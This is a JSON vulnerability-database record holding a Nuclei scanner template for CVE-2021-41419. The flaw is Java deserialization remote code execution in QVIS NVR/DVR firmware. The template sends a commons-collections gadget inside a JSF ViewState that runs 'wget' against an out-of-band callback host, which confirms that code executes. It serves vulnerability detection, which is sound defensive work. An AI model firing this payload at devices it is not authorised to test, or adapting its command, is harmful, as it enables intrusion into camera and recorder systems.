{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2021-41419/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2021-41419/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2021-41419/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2021-41419/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2021-41419/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2021-41419"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2021-41419"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2021/CVE-2021-41419.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2021-41419\n\ninfo:\n  name: QVIS NVR/DVR - Remote Code Execution\n  author: me9187\n  severity: critical\n  description: |\n    QVIS NVR DVR before 2021-12-13 is vulnerable to Remote Code Execution via Java deserialization.\n  impact: |\n    Attackers can execute arbitrary code remotely, potentially leading to full system compromise.\n  remediation: |\n    Update to the latest version or apply security patches provided by the vendor.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2021-41419\n    - https://gist.github.com/Meeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee/712ac36c8a08e2698e875169442a23a4\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2021-41419\n    cwe-id: CWE-502\n    epss-score: 0.09191\n    epss-percentile: 0.95352\n    cpe: cpe:2.3:o:qvis:dvr_firmware:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: qvis\n    product: dvr_firmware\n  tags: cve,cve2021,qvisdvr,rce,deserialization,jsf,iot,oast,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        GET /qvisdvr/ HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n      - |\n        POST /qvisdvr/index.faces;jsessionid={{token}} HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        javax.faces.ViewState={{generate_java_gadget(\"commons-collections3.1\", \"wget http://{{interactsh-url}}\", \"base64\")}}\n\n    extractors:\n      - type: regex\n        name: token\n        group: 1\n        internal: true\n        part: header\n        regex:\n          - \"JSESSIONID=(.*)\"\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: interactsh_protocol\n        words:\n          - http\n\n      - type: status\n        status:\n          - 500\n# digest: 490a0046304402204f97e37353f815b7313b8fbf1189effeec8d9cfedb05ae4111e0da4b4d8afa8c02205331f811796152919f336a929ce8512bf3f0ce027f6931a0d72b5303534a25a3:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2021-41419"
}